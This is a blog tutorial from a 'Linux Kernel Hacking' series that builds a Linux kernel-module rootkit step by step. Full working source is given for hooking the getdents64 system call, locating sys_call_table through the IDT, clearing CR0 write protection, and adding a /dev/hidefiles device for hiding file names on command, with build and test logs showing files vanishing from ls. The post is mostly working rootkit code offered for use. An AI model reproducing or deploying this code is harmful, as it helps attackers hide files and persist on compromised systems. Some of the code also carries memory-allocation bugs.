Rootkit for Hiding Files

Posted on Thu 23 October 2014 in Linux Kernel Hacking

In this post I am going to be putting together all of the knowledge we have gained in the previous posts and improving on the last rootkit in a few different ways.

I will fix the issue that I explained the last LKM had (being able to query the file directly using ls [filename]), while making it more portable and giving it the ability to hide multiple files but I will start with splitting the LKM into multiple files to make it easier to manage.

The code for this rootkit will be in a link at the bottom of the post in .tgz format.

Splitting The LKM

Having the LKM split across multiple files makes it easier to manage, especially as the module gets more and more complex.

First we will start with the main file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>

MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");

void **sys_call_table;

static int __init hidefiles_init(void)
{

    sys_call_table = (void*)0xc1454100;
    original_getdents64 = sys_call_table[__NR_getdents64];

    set_page_rw(sys_call_table);
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
    set_page_ro(sys_call_table);
    return 0;
}

static void __exit hidefiles_exit(void)
{
    set_page_rw(sys_call_table);
    sys_call_table[__NR_getdents64] = original_getdents64;
    set_page_ro(sys_call_table);
    return;
}

module_init(hidefiles_init);
module_exit(hidefiles_exit);

I've made a couple of changes here, like I've set the sys_call_table page to read only after I've made the change and changing the name of the init and exit functions, but other than that it is copy and pasted from the last LKM.

Now for the file containing the system calls:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define FILE_NAME "thisisatestfile.txt"

asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
    int rtn;
    struct linux_dirent64 *cur = dirp;
    int i = 0;
    rtn = original_getdents64(fd, dirp, count);
    while (i < rtn) {
        if (strncmp(cur->d_name, FILE_NAME, strlen(FILE_NAME)) == 0) {
            int reclen = cur->d_reclen;
            char *next_rec = (char *)cur + reclen;
            int len = (int)dirp + rtn - (int)next_rec;
            memmove(cur, next_rec, len);
            rtn -= reclen;
            continue;
        }
        i += cur->d_reclen;
        cur = (struct linux_dirent64*) ((char*)dirp + i);
    }
    return rtn;
}

We also need to create a header file for the syscalls so that the functions can be referenced from the main.c file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#ifndef SYSCALLS
#define SYSCALLS

#include <linux/semaphore.h>
#include <linux/types.h>
#include <linux/dirent.h>

// Functions
asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
extern asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

#endif

This needs to be included in both the main.c and syscalls.c files, just add the line #include "syscalls.h" somewhere near the top.

This is why we have to put #ifndef, this ensures that the file will not be included twice.

Now we need to create the C file for the last set of functions:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include <asm/cacheflush.h>

int set_page_rw(unsigned long addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
    return 0;
}

int set_page_ro(unsigned long addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    pte->pte = pte->pte &~_PAGE_RW;
    return 0;
}

We also need to create a header file for these functions so we can use them inside main.c:

1
2
3
4
5
6
7
#ifndef FUNCTS
#define FUNCTS

int set_page_rw(unsigned long addr);
int set_page_ro(unsigned long addr);

#endif

This file also needs to be included in main.c with the line #include "functs.h".

We now need a makefile:

1
2
3
obj-m += hidefiles.o

hidefiles-y := main.o syscalls.o functs.o

I couldn't get it to work by just running make so I had to run the full command myself:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@dev:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
  CC [M]  /root/lkms/hidefiles/main.o
/root/lkms/hidefiles/main.c: In function ‘hidefiles_init’:
/root/lkms/hidefiles/main.c:21:9: warning: passing argument 1 of ‘set_page_rw’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:4:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
/root/lkms/hidefiles/main.c:23:2: warning: passing argument 1 of ‘set_page_ro’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:5:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
/root/lkms/hidefiles/main.c: In function ‘hidefiles_exit’:
/root/lkms/hidefiles/main.c:29:2: warning: passing argument 1 of ‘set_page_rw’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:4:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
/root/lkms/hidefiles/main.c:31:9: warning: passing argument 1 of ‘set_page_ro’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:5:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
  CC [M]  /root/lkms/hidefiles/functs.o
  LD [M]  /root/lkms/hidefiles/hidefiles.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/lkms/hidefiles/hidefiles.mod.o
  LD [M]  /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'

We can ignore these warnings for the moment, we are going to replace these functions anyway.

Now to test our rootkit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
root@dev:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root    344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root    113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root  62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root    810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root  42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root    825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root  33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root     64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root     41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root    968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root    352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root  18048 Oct 31 14:07 syscalls.o
root@dev:~/lkms/hidefiles# touch thisisatestfile.txt
root@dev:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root    344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root    113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root  62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root    810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root  42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root    825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root  33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root     64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root     41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root    968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root    352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root  18048 Oct 31 14:07 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt
root@dev:~/lkms/hidefiles# insmod ./hidefiles.ko
root@dev:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root    344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root    113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root  62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root    810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root  42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root    825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root  33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root     64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root     41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root    968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root    352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root  18048 Oct 31 14:07 syscalls.o
root@dev:~/lkms/hidefiles# rmmod hidefiles
root@dev:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root    344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root    113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root  62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root    810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root  42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root    825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root  33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root     64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root     41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root    968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root    352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root  18048 Oct 31 14:07 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt

So it seems to work nicely, now we can concentrate on extending it.

Automagically Finding sys_call_table

A brilliant writeup of how to find the sys_call_table, amungst other things, on x86 Linux is here. I highly recommend reading that post.

We are going to use the technique under section 3.1, titled How to get sys_call_table[] without LKM.

You can use a slight vairation of this technique on each architecture, just search Google a bit and you should be able to find something if you can't work it out from this description.

Firstly we need to read the Interrupt Descriptor Table Register (IDTR) and get the address of the base of the Interrupt Descriptor Table (IDT).

Offset 0x80 from the IDT base address is the address of a function called system_call, this function uses call to make system calls using the sys_call_table.

Once we have the base address of the system_call function we need to search through its code for 3 bytes ("\xff\x14\x85").

The memmem function just searches through code for a particular set of bytes and returns a pointer to it if found or NULL if not. Its implemented in libc but we will have to implement it ourselves in our LKM.

We also need to remember to include the 2 structs idtr and idt.

Here's the code for all of this which we can put into functs.c:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
struct {
    unsigned short limit;
    unsigned long base;
} __attribute__ ((packed))idtr;

struct {
    unsigned short off1;
    unsigned short sel;
    unsigned char none, flags;
    unsigned short off2;
} __attribute__ ((packed))idt;

void *memmem(const void *haystack, size_t haystacklen, const void *needle, size_t needlelen)
{
    char *p;

    for(p = (char *)haystack; p <= ((char *)haystack - needlelen + haystacklen); p++)
        if(memcmp(p, needle, needlelen) == 0)
            return (void *)p;
    return NULL;
}

unsigned long *find_sys_call_table(void)
{
    char **p;
    unsigned long sct_off = 0;
    unsigned char code[255];

    asm("sidt %0":"=m" (idtr));
    memcpy(&idt, (void *)(idtr.base + 8 * 0x80), sizeof(idt));
    sct_off = (idt.off2 << 16) | idt.off1;
    memcpy(code, (void *)sct_off, sizeof(code));

    p = (char **)memmem(code, sizeof(code), "\xff\x14\x85", 3);

    if(p)
        return *(unsigned long **)((char *)p + 3);
    else
        return NULL;
}

We also need to add the following prototype to functs.h:

1
unsigned long *find_sys_call_table(void);

Lastly we need to edit main.c so that we get the address of sys_call_table using this method, we just replace the line that starts sys_call_table = with:

1
2
3
    sys_call_table = find_sys_call_table();
    if(sys_call_table == NULL)
        return 1;

Improving The Method Of Writing To Read-Only Memory

So far we have manually changed the page table entry to change the permissions on the specific page that we want to write to read-write.

As we are running with the same privileges as the kernel we can do this in an easier way and ensure that any changes to this mechanism in the future doesn't stop our ability to write to this memory.

Running in kernel mode we have the ability to change the CR0 register.

The 16th bit of the CR0 register is responsible for enforcing whether or not the CPU can write to memory marked read-only.

With this is mind we can rewrite the functions that we were using in functs.c for this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
void disable_write_protection(void)
{
    unsigned long value;
    asm volatile("mov %%cr0,%0" : "=r" (value));
    if (value & 0x00010000) {
        value &= ~0x00010000;
        asm volatile("mov %0,%%cr0": : "r" (value));
    }
}

void enable_write_protection(void)
{
    unsigned long value;
    asm volatile("mov %%cr0,%0" : "=r" (value));
    if (!(value & 0x00010000)) {
        value |= 0x00010000;
        asm volatile("mov %0,%%cr0": : "r" (value));
    }
}

I've changed the names to make it apparent that these functions are actually doing something different.

You also need to change the 2 prototypes in functs.h to:

1
2
void disable_write_protection(void);
void enable_write_protection(void);

Lastly we need to edit main.c, remember these new functions do not require an argument.

Multi-File Support

To support hiding multiple files we need to implement a character device to communicate with the rootkit (we could use a network connection but we'll take that up later) and we need a method of storing the data.

For storing the data we will use a linked list, the kernel has the ability to manipulate linked lists but I will create my own functions for doing this as a programming exercise (later we will investigate how to use the features already in the kernel).

Linked List

First let's create the linked list and the functions for adding and removing items:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
struct file_list {
    char *file_name;
    struct file_list *next_file;
};

typedef struct file_list list;

list *hidden_files = NULL;

void addfile(const char *f)
{
    list *tmp;
    char *s;
    if (hidden_files == NULL) {
        tmp = (list*)vmalloc(sizeof(list));
        s = vmalloc(sizeof(*f));
        strcpy(s, f);
        tmp->file_name = s;
        tmp->next_file = hidden_files;
        hidden_files = tmp;
    } else {
        tmp = hidden_files;
        while (tmp != NULL && (strlen(tmp->file_name) != strlen(f) || strncmp(tmp->file_name, f, strlen(tmp->file_name)) != 0)) {
            tmp = tmp->next_file;
        }
        if (tmp == NULL) {
            list *tmp2;
            tmp2 = (list*)vmalloc(sizeof(list));
            s = vmalloc(sizeof(*f));
            strcpy(s, f);
            tmp2->file_name = s;
            tmp2->next_file = hidden_files;
            hidden_files = tmp2;
        }
    }
}

void remfile(const char *f)
{
    list *tmp, *tmp2;
    int c = 0;
    tmp = hidden_files;
    while (tmp != NULL) {
        if (strlen(tmp->file_name) == strlen(f)){
            if (strncmp(tmp->file_name, f, strlen(tmp->file_name)) == 0) {
                if (c == 0) {
                    hidden_files = tmp->next_file;
                    vfree(tmp->file_name);
                    vfree(tmp);
                    return;
                }
                tmp2->next_file = tmp->next_file;
                vfree(tmp->file_name);
                vfree(tmp);
            }
        }
        tmp2 = tmp;
        tmp = tmp->next_file;
        c += 1;
    }
}

The structure of each element is defined at the top (lines 1 - 4), its pretty simple, just a basic singly linked list.

2 functions are then defined addfile and remfile, which are pretty self-explainitory, 1 thing to note here is that the vmalloc function is being used to allocate the memory, which allocates a contiguous address range of virtual memory, this obviously means that vfree has to be used to free the memory after.

Both of these functions take 1 argument, a string, and add or remove that string to the list depending on which function is called.

Its best to create a function that empties the list:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void emptylist()
{
    list *tmp;
    tmp = hidden_files;
    while (tmp != NULL) {
        hidden_files = tmp->next_file;
        vfree(tmp->file_name);
        vfree(tmp);
        tmp = hidden_files;
    }
}

Lastly we need a function to check if a name exists in the list:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
int lookupfilename(const char *f)
{
    list *tmp;
    tmp = hidden_files;
    while (tmp != NULL) {
        if (strlen(tmp->file_name) == strlen(f)){
            if (strncmp(f, tmp->file_name, strlen(tmp->file_name)) == 0){
                return 1;
            }
        }
        tmp = tmp->next_file;
    }
    return 0;
}

This functions takes a string as an argument and iterates through the list checking, first the length, and then the whole string, against every entry in the list, if it finds a match it returns a 1, otherwise it returns a 0.

Initially I developed this linked list in a normal C application and just improved upon it and kernelfied it. :-) Here is my original application:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct file_list {
    char *file_name;
    struct file_list *next_file;
};
typedef struct file_list list;
list *hidden_files = NULL;

void addfile(const char *f);
void remfile(char *f);
void printfiles();

void main()
{
    addfile("one");
    remfile("one");
    printfiles();
    addfile("two");
    printfiles();
    addfile("three");
    addfile("four");
    printfiles();
    remfile("two");

    printfiles();
}

void addfile(const char *f)
{
    list *tmp;
    if (hidden_files == NULL) {
        tmp = (list*)malloc(sizeof(list));
        char *s = malloc(sizeof(*f));
        strcpy(s, f);
        tmp->file_name = s;
        tmp->next_file = hidden_files;
        hidden_files = tmp;
    } else {
        tmp = hidden_files;
        while (tmp != NULL && strcmp(tmp->file_name, f) != 0) {
            tmp = tmp->next_file;
        }
        if (tmp == NULL) {
            list *tmp2;
            tmp2 = (list*)malloc(sizeof(list));
            char *s = malloc(sizeof(*f));
            strcpy(s, f);
            tmp2->file_name = s;
            tmp2->next_file = hidden_files;
            hidden_files = tmp2;
        }
    }
}

void remfile(char *f)
{
    list *tmp, *tmp2;
    int c = 0;
    tmp = hidden_files;
    while (tmp != NULL) {
        if (strcmp(tmp->file_name, f) == 0) {
            if (c == 0) {
                hidden_files = tmp->next_file;
                free(tmp->file_name);
                free(tmp);
                return;
            }
            tmp2->next_file = tmp->next_file;
            free(tmp->file_name);
            free(tmp);
        }
        tmp2 = tmp;
        tmp = tmp->next_file;
        c += 1;
    }
}

void printfiles()
{
    list *tmp;
    tmp = hidden_files;
    while (tmp != NULL) {
        printf("%s : %x\n", tmp->file_name, tmp->next_file);
        tmp = tmp->next_file;
    }
}

Clearly this application is using more primitive versions of the addfile and remfile functions above. Its also using the usermode's malloc and free instead of vmalloc and vfree for obvious reasons.

I only included this to show how I've developed these functions in usermode and then converted it to kernelmode.

Anyway, the kernel functions above (addfile, remfile, emptylist and lookupfilename) as well as the struct declarations and definition should go into the file list.c.

#include "list.h" should be put at the top and the file list.h should be created with the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#ifndef LIST
#define LIST

#include <linux/vmalloc.h>

// Functions
void addfile(const char *f);
void remfile(const char *f);
void emptylist(void);
int lookupfilename(const char *f);

#endif

We need to include the linux/vmalloc.h header file for the vmalloc and vfree functions.

syscalls.c needs to be changed, list.h needs to be included, the FILE_NAME definition should be removed and the strncmp line should be changed to use lookupfilename instead, so it should end up like the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include "syscalls.h"
#include "list.h"

asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
    int rtn;
    struct linux_dirent64 *cur = dirp;
    int i = 0;
    rtn = original_getdents64(fd, dirp, count);
    while (i < rtn) {
        if (lookupfilename(cur->d_name) == 1) {
            int reclen = cur->d_reclen;
            char *next_rec = (char *)cur + reclen;
            int len = (int)dirp + rtn - (int)next_rec;
            memmove(cur, next_rec, len);
            rtn -= reclen;
            continue;
        }
        i += cur->d_reclen;
        cur = (struct linux_dirent64*) ((char*)dirp + i);
    }
    return rtn;
}

Because we want to hide some files when the LKM is loaded and also empty the list when the LKM is unloaded we need to include the list.h header file and make the relevent calls to addfile and emptylist in main.c, so our main.c should end up like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>

#include "syscalls.h"
#include "functs.h"
#include "list.h"

MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");

void **sys_call_table;

static int __init hidefiles_init(void)
{
    sys_call_table = find_sys_call_table();
    if(sys_call_table == NULL)
        return 1;
    original_getdents64 = sys_call_table[__NR_getdents64];

    disable_write_protection();
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
    enable_write_protection();
    addfile("thisisatestfile.txt");
    return 0;
}

static void __exit hidefiles_exit(void)
{
    disable_write_protection();
    sys_call_table[__NR_getdents64] = original_getdents64;
    enable_write_protection();
    emptylist();
    return;
}

module_init(hidefiles_init);
module_exit(hidefiles_exit);

Lastly we need to edit the Makefile to include list.o, so it should end up like this:

1
2
3
obj-m += hidefiles.o

hidefiles-y := main.o syscalls.o functs.o list.o

Now to compile and test:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@dev:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
  CC [M]  /root/lkms/hidefiles/main.o
/root/lkms/hidefiles/main.c: In function ‘hidefiles_init’:
/root/lkms/hidefiles/main.c:18:17: warning: assignment from incompatible pointer type [enabled by default]
  CC [M]  /root/lkms/hidefiles/syscalls.o
  CC [M]  /root/lkms/hidefiles/list.o
  LD [M]  /root/lkms/hidefiles/hidefiles.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/lkms/hidefiles/hidefiles.mod.o
  LD [M]  /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
root@dev:~/lkms/hidefiles# ls
functs.c  functs.o      hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h  thisisatestfile.txt
functs.h  hidefiles.ko  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
root@dev:~/lkms/hidefiles# insmod ./hidefiles.ko
root@dev:~/lkms/hidefiles# ls
functs.c  functs.o      hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
functs.h  hidefiles.ko  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
root@dev:~/lkms/hidefiles# rmmod hidefiles
root@dev:~/lkms/hidefiles# ls
functs.c  functs.o      hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h  thisisatestfile.txt
functs.h  hidefiles.ko  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o

So, as you can clearly see, our LKM automatically hides files on initialization and now should have the capability to hide multiple files.

Character Device

We now need the ability to communicate with the LKM to dynamically hide and unhide files. The only way we've learned how to do this so far is by using a character device.

This character device will be simpler than our previous one because we only need the write operation but you can implement read for feedback if you want.

We will put this in a new file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include "cdev.h"

#define DEV_MAX 512

static struct file_operations dev_fops = {
    .write = dev_write,
};

struct miscdevice dev_misc_device = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = "hidefiles",
    .fops = &dev_fops
};

ssize_t dev_write(struct file *filep,const char *buff,size_t count,loff_t *offp )
{
    char temp_dev_file[DEV_MAX+1], new_dev_file[DEV_MAX];
    int i, n;
    memset(new_dev_file, 0, DEV_MAX);
    memset(temp_dev_file, 0, DEV_MAX+1);
    if(count > DEV_MAX){
        if(copy_from_user(temp_dev_file,buff,DEV_MAX) != 0)
            printk("Userspace -> kernel copy failed!\n");
        else {
            temp_dev_file[DEV_MAX] = '\0';
            for (i = 2, n = 0; i < strlen(temp_dev_file); i++, n++) {
                new_dev_file[n] = temp_dev_file[i];
            }
            if (strncmp(temp_dev_file, "a", 1) == 0 || strncmp(temp_dev_file, "A", 1) == 0) {
                addfile(new_dev_file);
            } else if (strncmp(temp_dev_file, "r", 1) == 0 || strncmp(temp_dev_file, "R", 1) == 0) {
                remfile(new_dev_file);
            }
        }
        return DEV_MAX;
    } else {
        if(copy_from_user(temp_dev_file,buff,count) != 0)
            printk("Userspace -> kernel copy failed!\n");
        else {
            for (i = 2, n = 0; i < strlen(temp_dev_file); i++, n++) {
                new_dev_file[n] = temp_dev_file[i];
            }
            if (strncmp(temp_dev_file, "a", 1) == 0 || strncmp(temp_dev_file, "A", 1) == 0) {
                addfile(new_dev_file);
            } else if (strncmp(temp_dev_file, "r", 1) == 0 || strncmp(temp_dev_file, "R", 1) == 0) {
                remfile(new_dev_file);
            }
        }
        return count;
    }
}

Here I'm setting the maximum size to 512 but you can set it to what you wish.

I also return the number of bytes written here so that it doesn't break some applications that try to write to it (python for example).

The first character of the input is being used as the operation (A or a for adding a file and R or r for removing a file) and the actual filename starts after the second character in the input.

I've also fixed the buffer overflow that was in the last character device.

We need to create the following header file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#ifndef CDEV
#define CDEV

#include <linux/fs.h>
#include <asm/uaccess.h>
#include <linux/miscdevice.h>

#include "list.h"

// Functions
ssize_t dev_write(struct file *filep,const char *buff,size_t count,loff_t *offp );


// Structs
extern struct miscdevice dev_misc_device;

#endif

Now we need to include cdev.h in main.c, by adding the line #include "cdev.h" at the top, initialize the device on load and remove the device on unload, so our main.c should end up like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>

#include "syscalls.h"
#include "functs.h"
#include "list.h"
#include "cdev.h"

MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");

void **sys_call_table;

static int __init hidefiles_init(void)
{
    sys_call_table = find_sys_call_table();
    if(sys_call_table == NULL)
        return 1;
    original_getdents64 = sys_call_table[__NR_getdents64];

    disable_write_protection();
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
    enable_write_protection();
    misc_register(&dev_misc_device);
    addfile("thisisatestfile.txt");
    return 0;
}

static void __exit hidefiles_exit(void)
{
    disable_write_protection();
    sys_call_table[__NR_getdents64] = original_getdents64;
    enable_write_protection();
    misc_deregister(&dev_misc_device);
    emptylist();
    return;
}

module_init(hidefiles_init);
module_exit(hidefiles_exit);

Lastly we need to add cdev.o to the makefile:

1
2
3
obj-m += hidefiles.o

hidefiles-y := main.o syscalls.o functs.o list.o cdev.o

Now we just need to test it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
root@dev:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
  CC [M]  /root/lkms/hidefiles/cdev.o
/root/lkms/hidefiles/cdev.c: In function ‘dev_write’:
/root/lkms/hidefiles/cdev.c:50:1: warning: the frame size of 1028 bytes is larger than 1024 bytes [-Wframe-larger-than=]
  LD [M]  /root/lkms/hidefiles/hidefiles.o
  Building modules, stage 2.
  MODPOST 1 modules
  LD [M]  /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
root@dev:~/lkms/hidefiles# ls
app     cdev.h    functs.h      hidefiles.mod.c  list.c  main.c    modules.order   syscalls.h
app.c   cdev.o    functs.o      hidefiles.mod.o  list.h  main.o    Module.symvers  syscalls.o
cdev.c  functs.c  hidefiles.ko  hidefiles.o      list.o  Makefile  syscalls.c      thisisatestfile.txt
root@dev:~/lkms/hidefiles# insmod ./hidefiles.ko
root@dev:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.ko     hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
app.c  cdev.h  functs.c  functs.o  hidefiles.mod.c  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:hidefiles.ko")'
